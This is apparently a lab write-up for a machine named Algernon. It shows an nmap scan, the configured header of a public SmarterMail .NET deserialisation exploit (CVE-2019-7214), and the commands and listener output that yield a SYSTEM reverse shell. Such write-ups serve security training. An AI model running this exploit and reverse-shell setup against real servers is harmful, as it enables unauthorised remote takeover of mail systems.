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Algernon

Machine Information

  • Machine Name: Algernon
  • Machine Difficulty: Easy

Information Gathering

Classic nmap time

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Nmap scan report for 192.168.140.65                                                                                                                                                                                                         
Host is up, received user-set (0.016s latency).                                                                                                                                                                                             
Scanned at 2024-10-03 21:12:55 +08 for 581s                                                                                                                                                                                                 
Not shown: 65521 closed tcp ports (reset)                                                                                                                                                                                                   
PORT      STATE SERVICE       REASON          VERSION                                                                                                                                                                                       
21/tcp    open  ftp           syn-ack ttl 125 Microsoft ftpd                                                                                                                                                                                
| ftp-syst:                                                                                                                                                                                                                                 
|_  SYST: Windows_NT                                                                                                                                                                                                                        
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                                                                                                                                      
| 04-29-20  10:31PM       <DIR>          ImapRetrieval                                                                                                                                                                                      
| 10-03-24  06:07AM       <DIR>          Logs                                                                                                                                                                                               
| 04-29-20  10:31PM       <DIR>          PopRetrieval                                                                                                                                                                                       
|_04-29-20  10:32PM       <DIR>          Spool                                                                                                                                                                                              
80/tcp    open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0                                                                                                                                                                      
| http-methods:                                                                                                                                                                                                                             
|   Supported Methods: OPTIONS TRACE GET HEAD POST                                                                                                                                                                                          
|_  Potentially risky methods: TRACE                                                                                                                                                                                                        
|_http-title: IIS Windows                                                                                                                                                                                                                   
|_http-server-header: Microsoft-IIS/10.0                                                                                                                                                                                                    
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                                                                                                                                                                         
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn                                                                                                                                                                 
445/tcp   open  microsoft-ds? syn-ack ttl 125                                                                                                                                                                                               
5040/tcp  open  unknown       syn-ack ttl 125                                                                                                                                                                                               
9998/tcp  open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0                                                                                                                                                                      
|_http-server-header: Microsoft-IIS/10.0                                                                                                                                                                                                    
| http-methods:                                                                                                                                                                                                                             
|_  Supported Methods: GET HEAD POST OPTIONS                                                                                                                                                                                                
| http-title: Site doesn't have a title (text/html; charset=utf-8).                                                                                                                                                                         
|_Requested resource was /interface/root                                                                                                                                                                                                    
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D                                                                                                                                                                                           
| Content-Type: text/html; charset=us-ascii\x0D                                                                                                                                                                                             
| Server: Microsoft-HTTPAPI/2.0\x0D                                                                                                                                                                                                         
| Date: Thu, 03 Oct 2024 13:22:19 GMT\x0D                                                                                                                                                                                                   
| Connection: close\x0D                                                                                                                                                                                                                     
| Content-Length: 326\x0D                                                                                                                                                                                                                   
| \x0D                                                                                                                                                                                                                                      
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">\x0D                                                                                                                                             
| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D                                                                                                                                                                                                
| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>\x0D                                                                                                                                                         
| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D                                                                       
| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D                               
|_</BODY></HTML>\x0D                                       
|_http-favicon: Unknown favicon MD5: 9D7294CAAB5C2DF4CD916F53653714D5                                                 
17001/tcp open  remoting      syn-ack ttl 125 MS .NET Remoting services                                               
49664/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                                                                                                                                                                         
49665/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                 
49667/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                 
49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                 
49669/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC                 

There’s a website at port 9998, lets start with that.

Port 9998

When looking around in the webpage, the first page of the website is a login page which also provide some information.

I tried login using default / weak credentials but it did not work. Since the name of the website was given, I tried googling for existing exploit and found one potential exploit which does not need and credentials.

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# Exploit Title: SmarterMail Build 6985 - Remote Code Execution
# Exploit Author: 1F98D
# Original Author: Soroush Dalili
# Date: 10 May 2020
# Vendor Hompage: re
# CVE: CVE-2019-7214
# Tested on: Windows 10 x64
# References:
# https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
#
# SmarterMail before build 6985 provides a .NET remoting endpoint
# which is vulnerable to a .NET deserialisation attack.
#
#!/usr/bin/python3

import base64
import socket
import sys
from struct import pack

HOST='192.168.140.65'
PORT=17001
LHOST='192.168.45.220'
LPORT=4444
...

After reading the exploit, I noticed that the exploit is targeting port 17001 instead of port 9998 and port 17001 is open according to the nmap result. So I guess I’ll just change the IP respectively and give it a try. Make sure to set up a listener before running the exploit the get a reverse shell

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python 49216.py

nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.220] from (UNKNOWN) [192.168.140.65] 49876
whoami
nt authority\system
PS C:\Windows\system32>

Instant root means no privilege escalation required ~

Things I learned from this machine

  • learn to read script
  • scan for all ports to avoid missing uncommon ports
This post is licensed under CC BY 4.0 by the author.

Kevin

Jacko